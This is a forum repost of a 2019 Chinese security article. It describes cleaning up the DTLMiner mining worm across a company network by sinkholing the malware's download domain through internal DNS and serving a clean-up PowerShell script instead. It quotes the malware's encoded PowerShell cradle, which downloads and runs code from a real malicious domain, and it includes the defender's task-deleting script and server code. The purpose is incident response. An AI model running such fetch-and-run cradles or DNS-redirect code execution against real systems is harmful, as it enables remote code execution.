搜索

[14016] 2019-04-22_DNS劫持欺骗病毒“自杀”

文档创建者：s7ckTeam
浏览次数：5
最后更新：2025-01-18
2019-04-22_DNS劫持欺骗病毒“自杀” D N S 劫 持 欺 骗 病 毒 “ 自 杀 ” 云 絮   F r e e B u f   2 0 1 9 - 0 4 - 2 2 背 景 背 景 某 天 忽 然 发 现 公 司 上 百 台 机 器 中 了 变 种 的 挖 矿 病 毒 某 天 忽 然 发 现 公 司 上 百 台 机 器 中 了 变 种 的 挖 矿 病 毒 D T L M i n e r ， 该 病 毒 传 播 方 式 有 多 种 ， 主 要 利 用 永 恒 之 蓝 漏 洞 、 弱 口 令 、 ， 该 病 毒 传 播 方 式 有 多 种 ， 主 要 利 用 永 恒 之 蓝 漏 洞 、 弱 口 令 、 m i m i k a t z 抓 取 域 密 码 ， 数 据 库 弱 口 令 等 方 式 传 播 ， 中 毒 后 的 抓 取 域 密 码 ， 数 据 库 弱 口 令 等 方 式 传 播 ， 中 毒 后 的 机 器 会 沦 为 挖 矿 机 。 机 器 会 沦 为 挖 矿 机 。 跟 踪 分 析 跟 踪 分 析 中 毒 后 的 服 务 器 C P U 开 始 升 高 ， 机 器 4 4 5 端 口 及 1 4 3 3 端 口 产 生 大 量 链 接 数 ， 并 有 对 内 网 横 向 传 播 以 及 对 外 攻 击 的 情 况 发 生 。 在 系 统 磁 盘 下 w i n d o w s 目 录 下 发 现 多 个 随 机 命 名 的 e x e 文 件 ， 以 及 m i m i k a t z 的 运 行 日 志 文 件 ， 包 括 p o w e r s h e l l 文 件 。 发 现 中 毒 后 第 一 时 间 使 用 杀 毒 软 件 清 理 病 毒 ， 简 单 粗 暴 ！ 但 是 效 果 并 不 尽 人 意 ， 被 杀 毒 软 件 杀 掉 的 病 毒 又 会 重 新 生 成 新 的 病 毒 文 件 。 了 解 D T L M i n e r 后 发 现 他 会 在 w i n d o w s 计 划 任 务 中 添 加 定 时 任 务 ， 而 定 时 任 务 会 执 行 p o w e r s h e l l 代 码 ， 不 易 被 杀 毒 软 件 检 测 查 杀 。 计 划 任 务 p o w e r s h e l l 内 容 如 下 ： 病 毒 利 用 p o w e r s h e l l 远 程 下 载 一 段 新 的 p o w e r s h e l l 代 码 执 行 ， 这 里 会 定 时 下 载 新 的 病 毒 文 件 执 行 挖 矿 并 开 始 蠕 虫 式 传 播 。 通 过 远 程 下 载 后 拿 到 病 毒 代 码 ， 发 现 p o w e r s h e l l 代 码 被 混 淆 过 ， 在 简 单 解 码 后 主 要 内 容 可 以 看 出 ： p o w e r s h e l l   - e p   b y p a s s   - e   S Q B F A F g A I A A o A E 4 A Z Q B 3 A C 0 A T w B i A G o A Z Q B j A H Q A I A B O A G U A d A A u A F c A Z Q B i A E M A b A B p A G U A b g B 0 A C k A L g B k A G 8 A d w B u A G w A b w B h A G Q A c w B 0 A H I A a Q B u A G c A K A A n A G g A d A B 0 A H A A O g A v A C 8 A d g A u A G I A Z Q B h A G g A a A A u A G M A b w B t A C 8 A d g A n A C s A J A B l A G 4 A d g A 6 A F U A U w B F A F I A R A B P A E 0 A Q Q B J A E 4 A K Q A =
p o w e r s h e l l 代 码 会 通 过 服 务 端 下 载 新 的 病 毒 执 行 ， 并 添 加 后 门 p o w e r s h e l l 到 任 务 计 划 ， 对 于 生 成 的 e x e 病 毒 文 件 只 需 要 杀 毒 软 件 就 可 以 轻 松 解 决 ， 但 是 p o w e r s h e l l 的 计 划 任 务 却 被 遗 漏 导 致 无 法 清 理 彻 底 。 在 清 理 p o w e r s h e l l 的 时 候 发 现 有 几 个 坑 点 ： 1 . 中 毒 机 器 数 量 太 多 ， 无 法 跟 踪 确 认 每 一 台 机 器 都 彻 底 清 理 干 净 ； 2 . p o w e r s h e l l 计 划 任 务 命 名 随 机 ， 通 过 永 恒 之 蓝 漏 洞 攻 击 是 由 s y s t e m 权 限 创 建 的 ， 普 通 管 理 员 很 难 删 除 ； 3 . 只 有 有 一 台 服 务 器 没 有 彻 底 清 理 干 净 随 时 可 以 再 次 扩 散 ， 并 且 可 能 病 毒 会 通 过 p o w e r s h e l l 远 程 下 载 再 次 变 种 。 D N S 劫 持 欺 骗 劫 持 欺 骗 “ 自 杀 自 杀 ” 如 何 在 上 百 台 中 毒 机 器 中 高 效 删 除 所 有 机 器 的 病 毒 呢 ？ 首 先 分 析 p o w e r s h e l l 代 码 ， b a s e 6 4 解 码 后 得 到 地 址 ： 通 过 上 面 的 代 码 可 以 得 知 p o w e r s h e l l 会 通 过 恶 意 域 名 v . b e a h h . c o m 下 载 新 的 p s 代 码 执 行 那 么 只 需 要 有 一 种 替 换 p s 代 码 的 方 式 ， 让 p o w e r s h e l l 请 求 恶 意 域 获 取 到 我 们 指 定 的 p s 代 码 即 可 控 制 病 毒 的 执 行 ， 从 而 变 成 病 毒 的 操 控 者 , 让 病 毒 的 p s 代 码 主 动 请 求 “ 自 杀 ” ， 这 点 只 需 要 通 过 修 改 内 网 的 D N S 即 可 轻 松 做 到 。 准 备 准 备 w e b 服 务 改 为 自 定 义 服 务 改 为 自 定 义 p s 代 码 代 码 例 如 删 除 所 有 无 法 清 理 干 净 p o w e r s h e l l 后 门 ： I E X   ( N e w - O b j e c t   N e t . W e b C l i e n t ) . d o w n l o a d s t r i n g ( ' h t t p : / / v . b e a h h . c o m / v ' + $ e n v : U S E R D O M A I N )
将 上 述 的 代 码 通 过 b a s e 6 4 加 密 后 放 到 我 们 自 己 搭 建 的 w e b 服 务 上 , w e b 服 务 代 码 如 下 ， 当 然 也 可 以 直 接 通 过 配 置 n g i n x 返 回 要 替 换 的 p s 代 码 ， 这 里 我 用 p y t o h n   b o t t l e 实 现 ： 修 改 修 改 D N S 指 向 指 向 v . b e a h h . c o m 原 域 名 指 向 地 址 ： $ s e r v i c e = N e w - O b j e c t   - C o m O b j e c t ( " S c h e d u l e . S e r v i c e " ) $ s e r v i c e . C o n n e c t ( $ e n v : C O M P U T E R N A M E ) # 递 归 遍 历 所 有 和 p o w e r s h e l l 有 关 的 计 划 任 务 ， 发 现 则 删 除 F u n c t i o n   D e l e t e P o w e r s h e l l T a s k S c h e d u l e r ( $ T a s k P a t h ) {         $ f o l d e r = $ s e r v i c e . G e t F o l d e r ( $ T a s k P a t h )         $ t a s k i t e m = $ f o l d e r . G e t F o l d e r s ( 0 )         f o r e a c h ( $ i   i n   $ t a s k i t e m ) {                 $ t a s k s = $ i . G e t T a s k s ( 0 )                 f o r e a c h ( $ t a s k   i n   $ t a s k s ) {                         $ t a s k N a m e = $ t a s k . N a m e                         $ t a s k P a t h = $ t a s k . P a t h                         $ t a s k X m l = $ t a s k . X m l                         # W r i t e - H o s t   $ t a s k N a m e                         i f ( [ S t r i n g ] : : I s N u l l O r E m p t y ( $ t a s k X m l ) ) {                                 $ i . D e l e t e T a s k ( $ t a s k N a m e , 0 )                                 W r i t e - H o s t   " $ t a s k N a m e   s h c d u l e   t r e e   e r r o r   ,   d e l e t e   s u c e s s "                         }                         e l s e i f   ( $ t a s k X m l . T o L o w e r ( ) . C o n t a i n s ( " p o w e r s h e l l " ) ) {                                 W r i t e - H o s t   " f i n d   s c h e d u l e r   s c r i p t : $ t a s k P a t h "                                 $ t a s k . E n a b l e d = 0                                 $ i . D e l e t e T a s k ( $ t a s k N a m e , 0 )                         }                 }                 D e l e t e P o w e r s h e l l T a s k S c h e d u l e r ( $ i . P a t h )                 } } W r i t e - H o s t   " c l e a r   p o w e r s h e l l   s c r i p t " D e l e t e P o w e r s h e l l T a s k S c h e d u l e r   - T a s k P a t h   " " W r i t e - H o s t   " c l e a r   p o w e r s h e l l   s c r i p t   d o n e . " # 普 通 权 限 重 启 计 划 任 务 服 务 会 提 示 没 有 权 限 ， 但 是 不 要 担 心 ， 病 毒 的 p o w e r s h e l l 都 是 s y s t e m 权 限 执 行 的 R e s t a r t - S e r v i c e   s c h e d u l e G e t - P r o c e s s   - N a m e   p o w e r s h e l l   |   S t o p - P r o c e s s   - F o r # b a s e 6 4 后 的 p o w e r s h e l l 代 码 p s = " " " I n v o k e - E x p r e s s i o n   ( [ S y s t e m . T e x t . U n i c o d e E n c o d i n g ] : : U n i c o d e . G e t S t r i n g ( [ C o n v e r t ] : : F r o m B a s e 6 4 S t r i n g ( " J A B z A G U A c g B 2 A G k A Y w B l A D 0 A T g B l A H c A L Q B P A G I A a g B l A G M A d A A g A C 0 A Q w B v A G 0 A T w B i A G o A Z Q B j A H Q A K A A i A F M A Y w B o A G U A Z A B 1 A G w A Z Q A u A F M A Z Q B y A H Y A a Q B j A G U A I g A p A A 0 A C g A k A H M A Z Q B y A H Y A a Q B j A G U A L g B D A G 8 A b g B u A G U A Y w B 0 A C g A J A B l A G 4 A d g A 6 A E M A T w B N A F A A V Q B U A E U A U g B O A E E A T Q B F A C k A D Q A K A E Y A d Q B u A G M A d A B p A G 8 A b g A g A E Q A Z Q B s A G U A d A B l A F A A b w B 3 A G U A c g B z A G g A Z Q B s A G w A V A B h A H M A a w B T A G M A a A B l A G Q A d Q B s A G U A c g A o A C Q A V A B h A H M A a w B Q A G E A d A B o A C k A e w A N A A o A I A A g A C A A I A A k A G Y A b w B s A G Q A Z Q B y A D 0 A J A B z A G U A c g B 2 A G k A Y w B l A C 4 A R w B l A H Q A R g B v A G w A Z A B l A H I A K A A k A F Q A Y Q B z A G s A U A B h A H Q A a A A p A A 0 A C g A g A C A A I A A g A C Q A d A B h A H M A a w B p A H Q A Z Q B t A D 0 A J A B m A G 8 A b A B k A G U A c g A u A E c A Z Q B 0 A E Y A b w B s A G Q A Z Q B y A H M A K A A w A C k A D Q A K A C A A I A A g A C A A Z g B v A H I A Z Q B h A G M A a A A o A C Q A a Q A g A G k A b g A g A C Q A d A B h A H M A a w B p A H Q A Z Q B t A C k A e w A N A A o A I A A g A C A A I A A g A C A A I A A g A C Q A d A B h A H M A a w B z A D 0 A J A B p A C 4 A R w B l A H Q A V A B h A H M A a w B z A C g A M A A p A A 0 A C g A g A C A A I A A g A C A A I A A g A C A A Z g B v A H I A Z Q B h A G M A a A A o A C Q A d A B h A H M A a w A g A G k A b g A g A C Q A d A B h A H M A a w B z A C k A e w A N A A o A I A A g A A 0 A C g A g A C A A I A A g A C A A I A A g A C A A I A A g A C A A I A A k A H Q A Y Q B z A G s A T g B h A G 0 A Z Q A 9 A C Q A d A B h A H M A a w A u A E 4 A Y Q B t A G U A D Q A K A C A A I A A g A C A A I A A g A C A A I A A g A C A A I A A g A C Q A d A B h A H M A a w B Q A G E A d A B o A D 0 A J A B 0 A G E A c w B r A C 4 A U A B h A H Q A a A A N A A o A I A A g A C A A I A A g A C A A I A A g A C A A I A A g A C A A J A B 0 A G E A c w B r A F g A b Q B s A D 0 A J A B 0 A G E A c w B r A C 4 A W A B t A G w A D Q A K A C A A I A A g A C A A I A A g A C A A I A A g A C A A I A A g A C M A V w B y A G k A d A B l A C 0 A S A B v A H M A d A A g A C Q A d A B h A H M A a w B O A G E A b Q B l A A 0 A C g A g A C A A I A A g A C A A I A A g A C A A I A A g A C A A I A B p A G Y A K A B b A F M A d A B y A G k A b g B n A F 0 A O g A 6 A E k A c w B O A H U A b A B s A E 8 A c g B F A G 0 A c A B 0 A H k A K A A k A H Q A Y Q B z A G s A W A B t A G w A K Q A p A H s A D Q A K A C A A I A A g A C A A I A A g A C A A I A A g A C A A I A A g A C A A I A A g A C A A J A B p A C 4 A R A B l A G w A Z Q B 0 A G U A V A B h A H M A a w A o A C Q A d A B h A H M A a w B O A G E A b Q B l A C w A M A A p A A 0 A C g A g A C A A I A A g A C A A I A A g A C A A I A A g A C A A I A A g A C A A I A A g A F c A c g B p A H Q A Z Q A t A E g A b w B z A H Q A I A A i A C Q A d A B h A H M A a w B O A G E A b Q B l A C A A c w B o A G M A Z A B 1 A G w A Z Q A g A H Q A c g B l A G U A I A B l A H I A c g B v A H I A I A A s A C A A Z A B l A G w A Z Q B 0 A G U A I A B z A H U A Y w B l A H M A c w A i A A 0 A C g A g A C A A I A A g A C A A I A A g A C A A I A A g A C A A I A B 9 A A 0 A C g A g A C A A I A A g A C A A I A A g A C A A I A A g A C A A I A B l A G w A c w B l A G k A Z g A g A C g A J A B 0 A G E A c w B r A F g A b Q B s A C 4 A V A B v A E w A b w B 3 A G U A c g A o A C k A L g B D A G 8 A b g B 0 A G E A a Q B u A H M A K A A i A H A A b w B 3 A G U A c g B z A G g A Z Q B s A G w A I g A p A C k A e w A N A A o A I A A g A C A A I A A g A C A A I A A g A C A A I A A g A C A A I A A g A C A A I A B X A H I A a Q B 0 A G U A L Q B I A G 8 A c w B 0 A C A A I g B m A G k A b g B k A C A A c w B j A G g A Z Q B k A H U A b A B l A H I A I A B z A G M A c g B p A H A A d A A 6 A C Q A d A B h A H M A a w B Q A G E A d A B o A C I A D Q A K A C A A I A A g A C A A I A A g A C A A I A A g A C A A I A A g A C A A I A A g A C A A J A B 0 A G E A c w B r A C 4 A R Q B u A G E A Y g B s A G U A Z A A 9 A D A A D Q A K A C A A I A A g A C A A I A A g A C A A I A A g A C A A I A A g A C A A I A A g A C A A J A B p A C 4 A R A B l A G w A Z Q B 0 A G U A V A B h A H M A a w A o A C Q A d A B h A H M A a w B O A G E A b Q B l A C w A M A A p A A 0 A C g A g A C A A I A A g A C A A I A A g A C A A I A A g A C A A I A B 9 A A 0 A C g A g A C A A I A A g A C A A I A A g A C A A f Q A N A A o A D Q A K A C A A I A A g A C A A I A A g A C A A I A B E A G U A b A B l A H Q A Z Q B Q A G 8 A d w B l A H I A c w B o A G U A b A B s A F Q A Y Q B z A G s A U w B j A G g A Z Q B k A H U A b A B l A H I A K A A k A G k A L g B Q A G E A d A B o A C k A D Q A K A C A A I A A g A C A A I A A g A C A A I A B 9 A A 0 A C g B 9 A A 0 A C g B X A H I A a Q B 0 A G U A L Q B I A G 8 A c w B 0 A C A A I g B j A G w A Z Q B h A H I A I A B w A G 8 A d w B l A H I A c w B o A G U A b A B s A C A A c w B j A H I A a Q B w A H Q A I g A N A A o A R A B l A G w A Z Q B 0 A G U A U A B v A H c A Z Q B y A H M A a A B l A G w A b A B U A G E A c w B r A F M A Y w B o A G U A Z A B 1 A G w A Z Q B y A C A A L Q B U A G E A c w B r A F A A Y Q B 0 A G g A I A A i A F w A I g A N A A o A U g B l A H M A d A B h A H I A d A A t A F M A Z Q B y A H Y A a Q B j A G U A I A B z A G M A a A B l A G Q A d Q B s A G U A D Q A K A E c A Z Q B 0 A C 0 A U A B y A G 8 A Y w B l A H M A c w A g A C 0 A T g B h A G 0 A Z Q A g A H A A b w B 3 A G U A c g B z A G g A Z Q B s A G w A I A B 8 A C A A U w B 0 A G 8 A c A A t A F A A c g B v A G M A Z Q B z A H M A I A A t A E Y A b w B y A G M A Z Q A = " ) ) ) ; " " " # 请 求 任 何 U R L 都 返 回 p s 可 执 行 代 码 @ r o u t e ( ' / < n : p a t h > ' , m e t h o d = [ " P O S T " , " G E T " ] ) d e f   p o w e r s h e l l ( n ) :         l o g g e r . i n f o ( j s o n . d u m p s ( { " I P " : r e q u e s t . r e m o t e _ a d d r , " P a t h " : n } ) )         r e t u r n   p s @ r o u t e ( ' / ' ) d e f   i n d e x ( ) :         l o g g e r . i n f o ( j s o n . d u m p s ( { " I P " :   r e q u e s t . r e m o t e _ a d d r ,   " P a t h " :   " / " } ) )         r e t u r n   p s i f   _ _ n a m e _ _   = =   ' _ _ m a i n _ _ ' :         t r y :                 r u n ( h o s t = ' 0 . 0 . 0 . 0 ' , p o r t = 8 0 )         e x c e p t   E x c e p t i o n , e :                 p r i n t   e # p i p   i n s t a l l   b o t t l e = = 0 . 1 2 . 1 3 # p y t h o n   w
通 过 内 网 D N S 配 置 后 改 为 我 们 刚 刚 w e b 服 务 器 的 地 址 : 现 在 内 网 所 有 中 毒 的 机 器 都 会 主 动 请 求 我 们 自 己 部 署 的 w e b 服 务 ， 通 过 请 求 日 志 可 以 看 到 所 有 中 毒 机 器 的 I P 地 址 ， 以 及 请 求 参 数 中 携 带 了 主 机 的 信 息 ， 包 括 主 机 的 登 录 账 号 和 密 码 ， 结 合 E L K 可 以 对 这 些 机 器 做 数 据 整 理 分 析 。 因 为 w e b 服 务 的 页 面 已 经 替 换 成 了 我 们 自 己 写 的 p s ， 那 么 p s 脚 本 就 会 自 动 被 病 毒 执 行 ， 测 试 一 台 中 毒 的 服 务 器 ， 直 接 执 行 计 划 任 务 中 病 毒 的 执 行 命 令 即 可 触 发 看 到 效 果 ， 下 图 成 功 删 除 计 划 任 务 。 总 结 总 结 现 在 很 多 病 毒 都 在 利 用 p o w e r s h e l l 做 无 文 件 落 地 攻 击 ， 当 中 毒 机 器 数 量 庞 大 的 时 候 ， 利 用 这 种 思 路 可 以 高 效 快 速 的 确 定 中 毒 机 器 ， 也 可 以 有 效 控 制 机 器 请 求 恶 意 代 码 执 行 继 续 恶 化 传 播 ， 由 于 病 毒 创 建 计 划 任 务 是 s y s t e m 权 限 ， 所 以 p s 代 码 可 以 肆 无 忌 惮 的 写 ， 也 可 以 写 完 整 的 病 毒 专 杀 p o w e r s h e l l ， 本 文 抛 砖 引 玉 ， 仅 供 学 习 参 考 。 * 本 文 作 者 ： 云 絮 ， 本 文 属 本 文 作 者 ： 云 絮 ， 本 文 属   F r e e B u f   原 创 奖 励 计 划 ， 未 经 许 可 禁 止 转 载 。 原 创 奖 励 计 划 ， 未 经 许 可 禁 止 转 载 。 推 荐 阅 读 推 荐 阅 读
阅 读 原 文
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

使用Markdown编辑器编辑 使用富文本编辑器编辑

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理